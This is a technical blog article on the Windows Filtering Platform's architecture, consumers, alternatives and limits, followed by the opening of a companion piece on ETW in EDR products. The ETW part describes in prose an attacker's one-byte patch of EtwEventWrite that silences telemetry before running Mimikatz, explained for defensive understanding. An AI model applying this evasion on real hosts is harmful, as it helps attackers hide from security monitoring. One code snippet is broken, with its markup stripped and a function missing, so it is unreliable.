The "Built-in Callout Identifiers" reference page enumerates the GUIDs of every in-box callout: the FWPM_CALLOUT_IPSEC_* family (transport, tunnel, forward-tunnel, inbound-initiate-secure, ALE-connect); FWPM_CALLOUT_WFP_TRANSPORT_LAYER_V4_SILENT_DROP and _V6_SILENT_DROP; the FWPM_CALLOUT_TCP_CHIMNEY_* callouts [@wfp-builtin-callouts]. Microsoft describes the four canonical roles a callout plays: "Deep Inspection... Packet Modification... Stream Modification... Data Logging" [@wfp-callouts].

A kernel driver that registers one or more callout functions with the filter engine. The engine invokes a callout's `classifyFn` when a filter at a layer specifies the callout's GUID as its action [@wfp-filter-engine]. Callouts implement one of four roles: deep inspection (read-only payload examination), packet modification, stream modification, or data logging [@wfp-callouts]. Every third-party network-security product on Windows that runs in the kernel ships a callout driver.

The downstream features are not peers of WFP. They are configurations of it.

Windows Defender Firewall with Advanced Security (WFAS). Microsoft Learn names this relationship verbatim: "The firewall application that is built into Windows Vista, Windows Server 2008, and later operating systems Windows Firewall with Advanced Security (WFAS) is implemented using WFP" [@wfp-start]. The MpsSvc service translates the WFAS rule database into WFP filters that live in the MPSSVC_WSH provider's sublayer [@forshaw-2021].
Windows IPsec. The Base Filtering Engine "plumbs configuration settings to other modules in the system. For example, IPsec negotiation polices go to IKE/AuthIP keying modules, filters go to the filter engine" [@wfp-about]. IPsec is not a separate stack; it is a configuration of WFP plus the IKE/AuthIP keying modules.
WinNAT and Windows container networking. The PowerShell cmdlet New-NetNat "creates a Network Address Translation (NAT) object that translates an internal network address to an external network address" [@netnat]; WinNAT, the implementation behind it, registers WFP filters to perform the translation. Windows containers use WinNAT for their default NAT switch.
Hyper-V Extensible Switch. Since Windows 8 / Server 2012, "the Hyper-V extensible switch is supported starting with NDIS 6.30 in Windows Server 2012," and the switch supports extensible-switch extensions that "bind within the extensible switch driver stack" [@hyperv-extswitch]. WFP filters and callouts can be placed at vSwitch ingress and egress [@wfp-whatsnew].
Microsoft Defender for Endpoint Network Protection. The Microsoft Learn page documents the capability: "Network Protection will block connections on all ports (not just 80 and 443)" [@mde-netprot]. The product enforces SmartScreen domain reputation across the entire process tree, not just the browser. The exact WFP-layer registration map is not publicly documented; Section 9 returns to it."The exact WFP-layer registration map for Microsoft Defender for Endpoint Network Protection is not publicly documented." This is one of the rare honest-disclosure moments in the WFP story. Microsoft has published the capability [@mde-netprot] but has not published the exact set of FWPM_LAYER_* identifiers Network Protection registers callouts at. Community reverse engineering knows fragments of the map. Section 9 treats this as an open engineering problem.
Third-party EDR network filters. CrowdStrike Falcon, SentinelOne, Cisco Secure Endpoint, ESET, Sophos, and the rest of the EDR vendor list ship WFP callout drivers as the standard kernel-side primitive for network telemetry and policy enforcement. There is no single Microsoft document that lists them. Forshaw's 2021 Project Zero post is the closest a primary source comes to acknowledging that this is how the industry has settled [@forshaw-2021].

The textbook reference for WFP architecture is *Windows Internals, Part 2*, 7th edition, by Russinovich, Solomon, Ionescu, Yosifovich, and Allievi (Microsoft Press, 2021) [@windows-internals-7th]. The book's Networking chapter walks through TCP/IP driver internals and WFP architecture together, including the filter-engine / BFE / shim taxonomy this article has used. Treat the book as the slow-read complement to the Microsoft Learn references; the chapter does not duplicate the Learn pages, it explains why the architecture chose the shape it did. Page numbers vary by printing; cite by chapter heading.

Five downstream features on one engine. So what are the alternatives, if you want to ship a kernel-mode network filter on Windows today and do not want to use WFP?

7. Competing Approaches -- LWF, eBPF, Extensible Switch, and the Azure VFP

WFP is the L3+ answer. What else is there to attach to?

NDIS Lightweight Filter (LWF). The L2 sibling. NDIS 6.0, shipped with Vista, introduced "NDIS filter drivers. Filter drivers can monitor and modify the interaction between protocol drivers and miniport drivers. Filter drivers are easier to implement and have less processing overhead than NDIS intermediate drivers" [@ndis-filter]. LWF is the modern replacement for NDIS 5.x intermediate drivers. It sits below the protocol stack, sees raw Ethernet frames, has no application identity, and is the right choice for raw L2 work: VLAN tagging, EAPoL, packet capture (Npcap, NMNT). Choose LWF over WFP when you need pre-IP visibility and no per-process identity.

A kernel filter driver registered with NDIS that monitors or modifies the path between a protocol driver and a miniport driver. LWF replaced NDIS 5.x intermediate drivers starting with NDIS 6.0 [@ndis-filter]. LWF drivers see Ethernet frames before any IP processing has happened. They cannot see application identity, since the OS does not yet know which process the frame belongs to.

Hyper-V Extensible Switch extensions. A specialised NDIS LWF profile. NDIS 6.30, Windows Server 2012. "The Hyper-V extensible switch supports an interface that allows instances of NDIS filter drivers (known as extensible switch extensions) to bind within the extensible switch driver stack... The Hyper-V extensible switch is supported starting with NDIS 6.30 in Windows Server 2012" [@hyperv-extswitch]. Extensions come in three roles -- capture, filter, and forwarding -- with one forwarding-extension slot per vSwitch. Choose extensible switch extensions for Hyper-V Network Virtualization, software-defined-networking overlays, or SR-IOV gating.

eBPF for Windows. A Microsoft-sponsored project to bring the Linux eBPF programming model to Windows. The GitHub README describes its scope as letting existing eBPF toolchains and APIs familiar from Linux be used on top of Windows, and frames the project as a work-in-progress [@ebpf-readme]. Three deployment modes: native ("PREVAIL verifier... bpf2c tool converts every instruction in the bytecode to equivalent C statements... built into a windows driver module (stored in a .sys file)... This is the preferred way of deploying eBPF programs" [@ebpf-readme]); JIT (user-mode service, "with HVCI enabled, eBPF programs cannot be JIT compiled, but can be run in the native mode" [@ebpf-readme]); and interpreter (debug only). The hooks the project exposes (XDP, BIND, SOCK_ADDR, SOCK_OPS, CGROUP_SOCK_ADDR) are the Linux-flavoured analogues of the WFP shim points. The v1.1.0 release, published in March 2026 and labelled "first stable" while still tagged Pre-release, "added hard/soft permit verdicts" to its accept and bind hooks -- explicitly mirroring the WFP FWPS_RIGHT_ACTION_WRITE model [@ebpf-releases]. The project's own pages page repeats the work-in-progress framing [@ebpf-pages]. Choose eBPF for Windows for pre-stack DDoS scrubbing or cross-platform observability prototypes; the production-readiness caveat applies.

A Microsoft-sponsored open-source project that ports the Linux eBPF execution and toolchain to Windows. The native deployment mode compiles eBPF bytecode through PREVAIL verification and the `bpf2c` translator into a signed `.sys` kernel driver, which preserves HVCI compatibility [@ebpf-readme]. As of the v1.1.0 release (March 2026), the project remains tagged Pre-release on GitHub [@ebpf-releases].

Azure VFP -- a name collision that requires disambiguation. The Azure host-SDN data plane, presented by Daniel Firestone at NSDI 2017 [@firestone-nsdi17], is called the Virtual Filtering Platform. Same initials shape as WFP. Different platform. VFP is the programmable virtual switch that runs on every Azure compute host; the NSDI 2017 abstract notes that "VFP has been deployed on >1M hosts running IaaS and PaaS workloads for over 4 years" [@firestone-nsdi17]. It uses match-action tables, layers (the word "layer" appears with a different semantic from WFP's), Unified Flow Tables, and AccelNet FPGA offload via the Generic Flow Table. VFP ships with Azure, on Azure hosts. It is not customer-buildable on a Windows desktop, and Windows desktop and Server SKUs do not run it. The platforms are unrelated despite the name overlap.

Note: The Azure Virtual Filtering Platform (VFP), introduced in Firestone's NSDI 2017 paper, is the Azure host SDN data plane and shares only an acronym shape with the Windows Filtering Platform [@firestone-nsdi17]. VFP runs on Azure hosts under the Hyper-V Extensible Switch and is the layer that powers SLB, NSGs, AccelNet, and Azure Virtual Network. It is unrelated to the WFP filter engine, BFE, or fwpkclnt.sys. If the title of your inquiry contains both names, you are almost certainly looking at one or the other; the focus-premise audit in this article's source notes flagged the original input's mention of "SecureNAT" as similar terminological drift that led to the wrong product.

Approach	Layer / scope	App identity	Best for
WFP callout driver	L3+ across approximately sixty `FWPM_LAYER_*` IDs [@wfp-layers]	Yes via ALE [@wfp-ale]	App-aware on-host filtering and EDR telemetry
NDIS LWF	L2, below the protocol stack [@ndis-filter]	No	Raw L2: capture, VLAN, EAPoL
Hyper-V Extensible Switch ext	Inside the vSwitch, NDIS 6.30+ [@hyperv-extswitch]	Per-VM, not per-process	Hyper-V network virtualization, SDN overlays
eBPF for Windows	XDP / BIND / SOCK_ADDR hooks [@ebpf-readme]	Partial	Pre-stack DDoS, cross-platform observability prototypes (Pre-release)
Azure VFP	Azure host SDN; not customer-buildable [@firestone-nsdi17]	N/A	Azure-host SDN policy (Microsoft-internal)

None of these displaces WFP for the dominant on-host case (application-identity-aware, IPsec-integrated, stateful, multi-vendor-arbitrated). And all of them share one limit -- a limit that is built into the laws of network physics, not into Microsoft's roadmap.

8. Three Ceilings -- Encryption, Offload, Kernel EoP

Three ceilings sit above WFP and every alternative listed above. None is a Microsoft bug. All are structural.

The encryption ceiling

A WFP callout at the stream layer sees plaintext only if the payload was never encrypted, or if it was encrypted by a key the kernel owns (IPsec).IPsec is the one case where the kernel does hold the keys, because the IKE/AuthIP keying modules that BFE plumbs to are themselves Windows components [@wfp-about]. Every other in-process TLS or QUIC stack keeps its keys away from the kernel. TLS 1.3 and QUIC are end-to-end encrypted from the callout's point of view; the keys are inside the application's user-mode TLS library. A callout that registers at FWPM_LAYER_STREAM_V4 and reads bytes off a Chrome HTTPS connection sees ciphertext.

The case is even sharper for QUIC. QUIC runs over UDP. From the first packet, almost all of the QUIC control plane is encrypted with a key derived from the connection's initial secret. A datagram-layer callout that wants to inspect the QUIC handshake -- not the payload, just the handshake -- cannot. Microsoft's own product team has acknowledged the limit in plain English on the Defender for Endpoint Network Protection page:

Blocking FQDNs in non-Microsoft browsers requires that QUIC and Encrypted Client Hello be disabled in those browsers. -- Microsoft Defender for Endpoint, *Network Protection* [@mde-netprot]

That sentence is the encryption ceiling in Microsoft's own words. The product can block by 5-tuple (IP, port, protocol). It cannot block by hostname inside an Edge tab over QUIC unless QUIC is disabled in that browser. The limit is information-theoretic: a kernel filter without the session keys cannot read the encrypted payload. No engineering changes in WFP can lift it. The fix lives in the browser or in a user-mode TLS-inspecting proxy.

The offload ceiling

The second ceiling came from hardware. Modern NICs do work that the kernel used to do, because doing it in hardware is faster. UDP Receive Segment Coalescing Offload, the marquee feature of NDIS 6.89 in Windows 11 24H2, is the cleanest example: "URO enables network interface cards (NICs) to coalesce UDP receive segments. NICs can combine UDP datagrams from the same flow that match a set of rules into a logically contiguous buffer. These combined datagrams are then indicated to the Windows networking stack as a single large packet" [@uro].

The "logically contiguous buffer" is the problem. A WFP callout written against the pre-URO semantics ("one indication at FWPM_LAYER_DATAGRAM_DATA_V4 is one UDP datagram") is silently wrong on a system where the NIC has coalesced several datagrams into one Network Buffer List. The callout that needs per-datagram inspection has to read NDIS_UDP_RSC_OFFLOAD_NET_BUFFER_LIST_INFO to learn the per-flow size and unfold the indication accordingly [@uro]. The mechanical bound is that work the NIC has aggregated has lost its per-packet boundary by the time the kernel sees it.

Note: A callout at FWPM_LAYER_DATAGRAM_DATA_V4 or _V6 that assumes "one NBL = one datagram" is silently wrong on Windows 11 24H2 systems with URO-capable NICs. Read the per-flow size from NDIS_UDP_RSC_OFFLOAD_NET_BUFFER_LIST_INFO and iterate. The change is documented in the URO reference page [@uro], but legacy callouts written before NDIS 6.89 will need an explicit audit.

The same shape repeats for TCP segmentation offload (TSO, LSO), receive offload (LRO, GRO), and TLS / IPsec / RDMA / VxLAN / GENEVE offload. Each one moves work to hardware. Each one weakens the kernel-filter assumption that "every packet flows past every layer."

The kernel attack surface

The third ceiling is the one that drives the CVE cadence. Every callout is a kernel module [@wfp-callouts]. Every byte that crosses the Fwpm* user-to-kernel boundary is a potential primitive for an elevation-of-privilege exploit [@nvd-2023-29368][@nvd-2024-38034]. CVE-2023-29368, published June 14, 2023, is a CWE-415 double-free in the WFP code path with a CVSS base of 7.0 (AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H), an exploitability sub-score of 1.0, and an impact sub-score of 5.9 [@nvd-2023-29368]. CVE-2024-38034, published July 9, 2024, is a CWE-190 integer overflow in the same family of code paths with a CVSS base of 7.8 (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H), an exploitability sub-score of 1.8, and an impact sub-score of 5.9 [@nvd-2024-38034].

The CVSS vector difference is worth reading carefully.The 2024 vulnerability's attack-complexity dropped from AC:H to AC:L. The exploitability sub-score rose from 1.0 to 1.8 over the same window. The 2024 bug is easier to weaponise [@nvd-2023-29368][@nvd-2024-38034]. Without speculating about the trend across a longer time series, the direction of travel between these two anchor CVEs is "down, not up."

There is a structural variant of the same story that does not require any memory-safety bug at all. In August 2021, Forshaw published a Project Zero post titled "Understanding Network Access in Windows AppContainers." The post documents a default-WFP-policy configuration that allows certain low-privilege AppContainer processes to reach the network without any of the capability SIDs (internetClient, internetClientServer, privateNetworkClientServer) that the AppContainer documentation suggests are required [@forshaw-2021]. The associated Project Zero issue, 2207, was marked WontFix by Microsoft; the press coverage at SecurityAffairs reproduces the advisory body verbatim: "The default rules for the WFP connect layers permit certain executables to connect TCP sockets in AppContainers without capabilities leading to elevation of privilege... Eventually an AC process will match the 'Block Outbound Default Rule' rule if nothing else has which will block any connection attempt" [@securityaffairs-2021]. The bug is a policy composition bug, not a code bug. It exists in the way the in-box sublayers, filter weights, and default rules interact -- which is precisely the surface this article spent Section 5 explaining.

Key idea: WFP's hardest limits are not engineering choices Microsoft can rewrite. They are information-theoretic (a kernel filter without session keys cannot read what is encrypted), mechanical (hardware offloads exist to amortise work the kernel filter would have done, and aggregation destroys per-packet ground truth), and structural (every callout is a kernel module, and every Fwpm* call crosses a user-to-kernel ABI). The BFE elevation-of-privilege CVE class is the running cost of a platform sophisticated enough to host every downstream feature Windows ships.

Three ceilings. Is there a structural fix for any of them, or is this what the platform looks like forever?

9. Open Problems -- Where the Engineering Lives

Six questions are live right now. None of them has a clean answer.

QUIC inspection in the kernel. The current best partial result is to block QUIC by 5-tuple and rely on a browser's HTTP/3 fallback to TLS over TCP, where in-box inspection still works. The Defender for Endpoint Network Protection page documents the workaround verbatim: "Blocking FQDNs in non-Microsoft browsers requires that QUIC and Encrypted Client Hello be disabled in those browsers" [@mde-netprot]. Anything deeper than 5-tuple inspection on QUIC requires a user-mode proxy that terminates the QUIC connection and re-originates it, which moves the problem out of WFP.

Microsoft Defender for Endpoint's exact WFP-layer registration map. Publicly undocumented. Microsoft has published the capability and the limitations [@mde-netprot] but not the precise set of FWPM_LAYER_* GUIDs that Network Protection registers callouts at. Community reverse engineering knows fragments. A definitive map would let third-party EDR vendors avoid sublayer-priority conflicts with Defender. Whether Microsoft publishes one is a product-roadmap question.

The structural shape of the BFE EoP CVE class. Is the BFE elevation-of-privilege CVE class -- CWE-415 in 2023 [@nvd-2023-29368], CWE-190 in 2024 [@nvd-2024-38034], no public impossibility theorem either way -- tail risk inherent to the platform's policy-from-user-mode-to-kernel design, or is it addressable by an architectural fix (HVCI hardening on fwpkclnt.sys callout paths, bounded ABI contracts on the Fwpm* surface, Rust-in-Windows-kernel for new callout drivers)? The honest answer is that this is open. The integer-overflow / use-after-free class is the canonical attack surface of any user-to-kernel ABI; the question is whether Microsoft commits to a structural fix or to tail-risk-mitigation-plus-patching.

eBPF for Windows production readiness. Does it displace WFP for new kernel-mode network filters, or does it stay adjacent? The v1.1.0 release in March 2026 was framed as "first stable" while still labelled Pre-release [@ebpf-releases]. The same release added hard/soft permit verdicts to its accept and bind hooks, explicitly mirroring FWPS_RIGHT_ACTION_WRITE in WFP [@ebpf-releases]. That borrowing is a tell -- the project is converging on the WFP arbitration semantics, which suggests the long-term picture is "eBPF for Windows alongside WFP" rather than "eBPF replaces WFP." The market answer is unsettled.

Windows Defender Application Guard's egress-isolation pattern after WDAG deprecation. WDAG for Edge used a WFP-backed egress-isolation pattern to route browsing-container traffic out of an isolated network compartment. The WDAG product surface is being phased out -- Microsoft has documented that "Microsoft Defender Application Guard... is deprecated for Microsoft Edge for Business and will no longer be updated. Starting with Windows 11, version 24H2, Microsoft Defender Application Guard... is no longer available" [@mdag-deprecation]. The pattern's future on Windows -- in containers, virtualization-based security profiles, or some successor -- is undocumented as of the time of writing. Treat this paragraph as conjectural until Microsoft publishes a successor pattern.

NIC offload composability with kernel firewalls. As more pipeline elements move into the NIC -- TSO, LSO, GRO/GSO, URO [@uro], TLS offload, IPsec offload, RDMA, VxLAN, GENEVE -- the assumption that every packet flows past every WFP layer weakens. A callout that registers at FWPM_LAYER_INBOUND_TRANSPORT_V4 may never see a packet whose transport-layer work happened entirely on the NIC. The kernel-firewall design that grew up assuming software ground truth has to renegotiate that assumption release by release. NDIS 6.89's URO is the most recent example [@ndis-689]; there will be more.

"Open" in this section means engineering-open, not theory-open. There is no published impossibility theorem stating that WFP cannot be made provably safe against integer-overflow elevation-of-privilege, or that a kernel firewall cannot inspect encrypted traffic with a key-disclosure protocol, or that NIC offloads cannot be composed with kernel-side filters by sharing flow state. The practical question, in every case, is whether Microsoft and the broader Windows community invest in the structural fix or settle for tail-risk-mitigation plus patching. The answer in 2026 is "mostly the latter."

Six open problems. Now, how do you actually use the platform that has been the subject of this article?

10. The Four Ways You Touch WFP

Whether you are an administrator, a detection engineer, or a kernel driver writer, there are four canonical surfaces you actually touch. Here is the field guide.

The diagnostic surface: `netsh wfp`

Wikipedia's WFP page notes the introduction date: "Starting with Windows 7, the netsh command can diagnose of the internal state of WFP" [@wiki-wfp]. The canonical incident-response triplet is three commands long.

Note: Run these three commands, in this order, before doing anything else when a Windows host shows network-filtering behaviour you cannot explain: text netsh wfp show state > state.xml netsh wfp show filters > filters.xml netsh wfp capture start file=C:\Temp\wfp.cab :: reproduce the issue netsh wfp capture stop state.xml is the platform's current rendered configuration: every provider, sublayer, filter, and callout currently registered. filters.xml lists every filter, including effective weight and action. The .cab from netsh wfp capture is the ETW-and-state bundle that goes onto a Microsoft Support case. The netsh wfp family has been around since Windows 7 [@wiki-wfp]; it has not had a major redesign since.

A state.xml from netsh wfp show state is an XML document with one <item> per filter. Each item carries a <displayData> element with a name and description, the layer GUID, the sublayer GUID, the weight, and the action. Reading one is a matter of pattern recognition rather than parsing. The next snippet walks the structure on a hand-pasted fragment.

{ // A real-world 'netsh wfp show state' output contains many <item> elements // inside <filters>. The fragment below is a single filter, hand-pasted from // a 'show state' XML dump. const xmlFragment = \ {deadbeef-1111-2222-3333-444455556666} EDR-vendor outbound TCP inspect Vendor X deep-inspection callout filter FWPM_LAYER_ALE_AUTH_CONNECT_V4 {a0192d10-aaaa-bbbb-cccc-1234567890ab} FWP_UINT64 0x4000000000000064 FWP_ACTION_CALLOUT_INSPECTION `;

console.log(readFilter(xmlFragment)); // { // name: 'EDR-vendor outbound TCP inspect', // layer: 'FWPM_LAYER_ALE_AUTH_CONNECT_V4', // subLayer: '{a0192d10-aaaa-bbbb-cccc-1234567890ab}', // weight: '0x4000000000000064', // action: 'FWP_ACTION_CALLOUT_INSPECTION' // } `}

Five fields: name, layer, sublayer, weight, action. That is what every WFP filter resolves to. Reading a hundred of them takes an afternoon.

The administrative surface: `wf.msc`

The Microsoft Management Console snap-in is the surface most Windows users have actually clicked. Every rule created in wf.msc is translated by the MpsSvc service into a WFP filter and pushed into the BFE's MPSSVC provider sublayer over RPC, and from there into TCPIP.SYS in the kernel [@forshaw-2021]. The UI exposes a small fraction of the filter properties WFP actually models; advanced rule attributes (per-AppContainer SID, per-package family name, per-service hardening) live in the underlying filter only.

The networking surface: `New-NetNat` and Hyper-V NAT switches

The PowerShell cmdlet New-NetNat "creates a Network Address Translation (NAT) object that translates an internal network address to an external network address" [@netnat]. Each NAT object materialises as a set of WFP filters that perform the translation. Windows containers use the same machinery for their default NAT switch. The Get-NetNat, Remove-NetNat, and related cmdlets in the NetNat PowerShell module are the entry point.

The driver surface: writing a WFP callout

The WDK's "Introduction to Windows Filtering Platform Callout Drivers" page is the entry point for kernel-mode writers [@wfp-callouts]. The reference sample, WFPSampler, lives in the microsoft/Windows-driver-samples repository under network/trans/WFPSampler. The sample's description: "The WFPSampler sample driver is a sample firewall. It has a command-line interface which allows adding filters at various WFP layers with a wide variety of conditions. Additionally it exposes callout functions for injection, basic action, proxying, and stream inspection" [@wfpsampler]. The sample ships five components: WFPSampler.Exe, WFPSamplerService.Exe, WFPSamplerCalloutDriver.Sys, WFPSamplerProxyService.Exe, and the two libraries WFPSampler.Lib / WFPSamplerSys.Lib.If you install WFPSampler and the installer refuses to register without a reboot prompt, the README documents a workaround: run RunDLL32 setupapi.dll,InstallHinfSection DefaultInstall 131 wfpsampler.inf (note the 131), and RunDLL32 setupapi.dll,InstallHinfSection DefaultInstall 132 wfpsampler.inf for the corresponding uninstall codepath [@wfpsampler]. The 131/132 flags suppress the reboot prompt for the in-tree sample driver.

A WFP callout driver that originates kernel-mode network I/O should pair with Winsock Kernel.

"Winsock Kernel (WSK) is a kernel-mode Network Programming Interface (NPI)" [@wsk-intro]. WSK is the modern replacement for TDI as the kernel-mode sockets API on Windows Vista and later. Microsoft's WSK introduction makes the split explicit: "Filter drivers should implement the Windows Filtering Platform on Windows Vista, and TDI clients should implement WSK" [@wsk-intro]. WFP filters traffic. WSK opens sockets from inside the kernel. The two interfaces are siblings. Before writing a callout driver, ask: does the policy need per-packet kernel visibility, or would a user-mode service that consumes ETW events from `Microsoft-Windows-WFP` and the firewall's ETW providers be enough? Most logging and detection use cases are answered by ETW. A callout driver is justified when you need to *act on* traffic (drop, redirect, modify, inspect payload), not just *observe* it. The kernel attack surface that comes with a callout, documented in Section 8, is now yours to share once you ship.

The detection-engineering surface lives in ETW. The two providers to know are Microsoft-Windows-WFP and Microsoft-Windows-Windows Firewall With Advanced Security. Names are not enough to do the full subject justice; the cross-reference footer below points at the dedicated ETW article in this series.

You now have a mental map of every place WFP touches a Windows host -- under the firewall UI, under IPsec, under WinNAT, under the Hyper-V vSwitch, under Defender for Endpoint, under every EDR. The FAQ disarms the last eight misconceptions.

11. Frequently Asked Questions

No. WFP is the platform; the Windows Firewall (WFAS, service name `MpsSvc`) is one consumer of it. Microsoft's start page makes the relationship explicit: "Windows Firewall with Advanced Security (WFAS) is implemented using WFP" [@wfp-start]. The Base Filtering Engine service (`bfe`) hosts the user-mode side of WFP and accepts policy from `MpsSvc` over RPC [@forshaw-2021]. Two user-mode services and a kernel-mode classification path, one platform. No. `fwpkclnt.sys` is the kernel-mode WFP client and export driver. Callout drivers link against `fwpkclnt.lib`, whose in-memory form is `fwpkclnt.sys` [@wfp-arch]. The classification path -- the code that walks sublayers and filters -- runs primarily inside `NETIO.SYS`, as Forshaw documents in his Project Zero post [@forshaw-2021]. The shorthand "`fwpkclnt.sys` is the filter engine" is common online and incorrect. No. BFE (service name `bfe`) is the Base Filtering Engine -- the platform service that controls WFP and plumbs configuration to other modules, including IPsec keying [@wfp-about]. `MpsSvc` is the Windows Defender Firewall service. `MpsSvc` depends on `bfe`; the dependency is not reciprocal [@forshaw-2021]. No. WFP callouts see plaintext only for non-IPsec, non-TLS payloads, or for IPsec traffic where the kernel holds the keys. TLS 1.3 and QUIC are end-to-end encrypted from a callout's perspective; the keys live in user-mode TLS libraries inside the application. Microsoft's own Defender for Endpoint Network Protection documentation acknowledges the limit: "Blocking FQDNs in non-Microsoft browsers requires that QUIC and Encrypted Client Hello be disabled in those browsers" [@mde-netprot]. Section 8 calls this the encryption ceiling. No. SecureNAT is an ISA Server / Forefront Threat Management Gateway concept, retired with TMG. The modern Windows-host NAT on WFP is **WinNAT**, managed by the `New-NetNat` PowerShell cmdlet [@netnat]. Windows containers use WinNAT for their default NAT switch. The original input scope that informed this article erroneously referenced "SecureNAT" as a WFP consumer; the focus-premise audit corrected it to WinNAT before drafting began. No. WSK is **Winsock Kernel**. Microsoft Learn's introduction is unambiguous: "Winsock Kernel (WSK) is a kernel-mode Network Programming Interface (NPI)" [@wsk-intro]. The two-letter prefix is "Winsock," the original Windows Sockets API brand, not "Windows Sockets." No. CVE-2024-21318 is a Microsoft SharePoint Server deserialization remote code execution vulnerability, unrelated to the Base Filtering Engine. The 2024 WFP elevation-of-privilege vulnerability is **CVE-2024-38034**: a CWE-190 integer overflow with a CVSS base of 7.8 [@nvd-2024-38034]. The article's source-verification stage flagged the original scope's CVE attribution error before drafting; the article tracks CVE-2024-38034 and CVE-2023-29368 as the two anchor BFE CVEs. Only at the 5-tuple level (IP, port, protocol) before or after a connection establishes. Once a QUIC connection is up, the encryption ceiling applies and the kernel has no key for the encrypted payload [@mde-netprot]. FQDN-level blocking of QUIC over Network Protection requires QUIC to be disabled in the browser, per Microsoft's own troubleshooting guide [@mde-netprot]. Deep inspection of QUIC content from the kernel is not possible with WFP alone.

See also. The Microsoft-Windows-WFP and Microsoft-Windows-Windows Firewall ETW providers are how detection-engineering teams see WFP from outside the kernel; the dedicated ETW article in this series goes deeper on the provider names, manifests, and parsing. The Antimalware Scan Interface (AMSI) sits on the process-side path that complements WFP's network-side path; the two are siblings, not substitutes. And the \Device\Ipfilterdriver device object that this article retired in Section 3 lives in the Windows Object Manager namespace, whose architecture is the subject of the Object Manager article in this series.

ETW: How Windows 2000's Performance Hack Became the EDR Substrate

noreply@paragmali.com (Parag Mali) — Mon, 11 May 2026 00:00:00 GMT

Event Tracing for Windows is the high-rate, kernel-buffered observability bus that every modern Windows EDR consumes. A 2007-era architectural decision -- letting eight sessions read the same provider concurrently -- is what makes multi-vendor coexistence possible on a single host. Microsoft's `Microsoft-Windows-Threat-Intelligence` provider, gated behind Protected Process Light and an ELAM-signed Antimalware certificate since the Windows 10 RS-era, fires from the kernel side of memory-modifying syscalls and survives the user-mode `EtwEventWrite` patch class that defined red-team tradecraft from 2020 to 2022. The remaining attack surface -- BYOVD-driven kernel tampering -- is structurally narrowed by the Vulnerable Driver Blocklist enabled by default since Windows 11 22H2, with the residual sub-microsecond-payload gap remaining as ETW's irreducible "observation, not enforcement" limit.

1. Why didn't the patch silence Defender?

A red-team operator drops onto a 2026 Defender [@paragmali-com-war-it]-protected box and runs the move that worked five years ago. They locate ntdll!EtwEventWrite in the calling process, write the byte 0xC3 over the function prologue, and the calling process now silently fails to emit user-mode ETW events. The .NET CLR provider goes dark. Invoke-Mimikatz loads from execute-assembly without lighting up Microsoft-Windows-DotNETRuntime. Defender catches the credential dump [@paragmali-com-and-the] anyway, four seconds later, and the operator is on a SOC analyst's screen before the shellcode finishes running.

The patch worked. The .NET tracing provider in that process is mute. Attach a debugger and disassemble the function prologue: the first byte is now 0xC3, the near-return opcode [@felixcloutier-ret] [@felixcloutier-ret], and any caller falls straight back to its return address before producing a single event. The technique is the one Adam Chester documented in March 2020 [@xpn-hiding-dotnet] [@xpn-hiding-dotnet], and to a generation of red teamers it has functioned as a near-universal ETW evasion ever since.

So why did Defender still fire?

Because Defender does not consume Microsoft-Windows-DotNETRuntime to detect a credential dump. It consumes Microsoft-Windows-Threat-Intelligence [@fluxsec-eti] [@fluxsec-eti] -- a provider whose GUID is {f4e1897c-bb5d-5668-f1d8-040f4d8dd344}, whose events fire from inside the kernel side of memory-modifying syscalls, and whose producer the user-mode patcher cannot reach. The patch operated on a ntdll trampoline. The signal Defender used was emitted from a different layer entirely.

Key idea: Modern Windows EDR is layered on ETW, and the layers fail under different attacks.

That single asymmetry -- one provider goes dark to a one-byte patch, another fires from a place the patcher cannot touch -- is the spine of this article. Around it sits a 26-year story of one Microsoft team accidentally building the substrate of every modern Windows endpoint security product.

A high-rate, kernel-buffered tracing facility built into Windows since 2000. Components called *providers* emit events tagged with a GUID; *controllers* configure trace sessions; *consumers* subscribe to live event streams or read recorded `.etl` files. ETW was designed for low-overhead developer diagnostics; it was retrofitted into the security-telemetry substrate that all modern Windows EDR products consume. A class of endpoint security product that ingests behavioural telemetry (process creation, image load, memory allocation, network connection, registry change), correlates it against detection logic, and produces alerts and response actions. On Windows, the dominant EDRs (Microsoft Defender for Endpoint, CrowdStrike Falcon, SentinelOne, Elastic Defend, Wazuh, Sysmon-plus-SIEM) all build on ETW or on the same kernel callbacks ETW exposes to the user-mode tier.

To understand why a one-byte patch silences one provider but not another, we have to go back to a Windows 2000 design decision about per-CPU ring buffers.

2. ETW in Windows 2000: the performance problem that started it all

Imagine a 1999 network-driver author. A customer's NT4 production server is corrupting packets under load and the only available instrumentation is DbgPrint. Each call serialises through a kernel debug port, costs measurable percentage points of CPU on a busy box, and ships data to whoever happens to have the kernel debugger attached. The customer says no. The bug reproduces only at production traffic levels. You cannot ship enough printf-debugging through a debug port to find it.

That is the engineering pain Insung Park and Ricky Buch's team was solving when ETW shipped with Windows 2000. Their design moves -- recorded years later in the definitive April 2007 MSDN Magazine article on the Vista upgrade [@ms-park-buch-2007] [@ms-park-buch-2007] -- still define the architecture two and a half decades later.

The first move was per-CPU ring buffers. A producer on CPU 7 writes to CPU 7's buffer with no lock contention against producers on other CPUs. Hot-path tracing on a 64-core machine does not serialise. The kernel allocates at least two buffers per logical processor [@ms-event-trace-props] [@ms-event-trace-props] so a producer can keep writing while a writer thread drains the previous buffer.

The second move was an asynchronous writer thread. The producer never blocks on disk I/O. It writes to its CPU's buffer and returns. A separate kernel thread drains buffers to file or hands them to a real-time consumer. ETW pushes the latency tax onto the consumer and the storage path, never onto the producer's hot loop.

The third move was dynamic enable and disable. Park and Buch describe the resulting capability in one sentence:

ETW gives you the ability to enable and disable logging dynamically, making it easy to perform detailed tracing in production environments without requiring reboots or application restarts. -- Park & Buch, *MSDN Magazine*, April 2007 [@ms-park-buch-2007]

That sentence is the entire reason ETW could later become the EDR substrate. A producer compiles its trace points into shipping code at low cost; a controller flips them on at runtime when somebody actually wants the data. Without that property, you cannot build a security product that ships universal kernel tracing on a billion endpoints.

The fourth move was the trichotomy of providers, controllers, and consumers [@ms-etw-wdk] [@ms-etw-wdk]. Microsoft did not write ETW as an internal-only facility. From the start, third parties could write providers (driver authors instrumenting their own code), controllers (performance tools starting and stopping sessions), and consumers (analyzers reading event streams). The architecture is open by design.

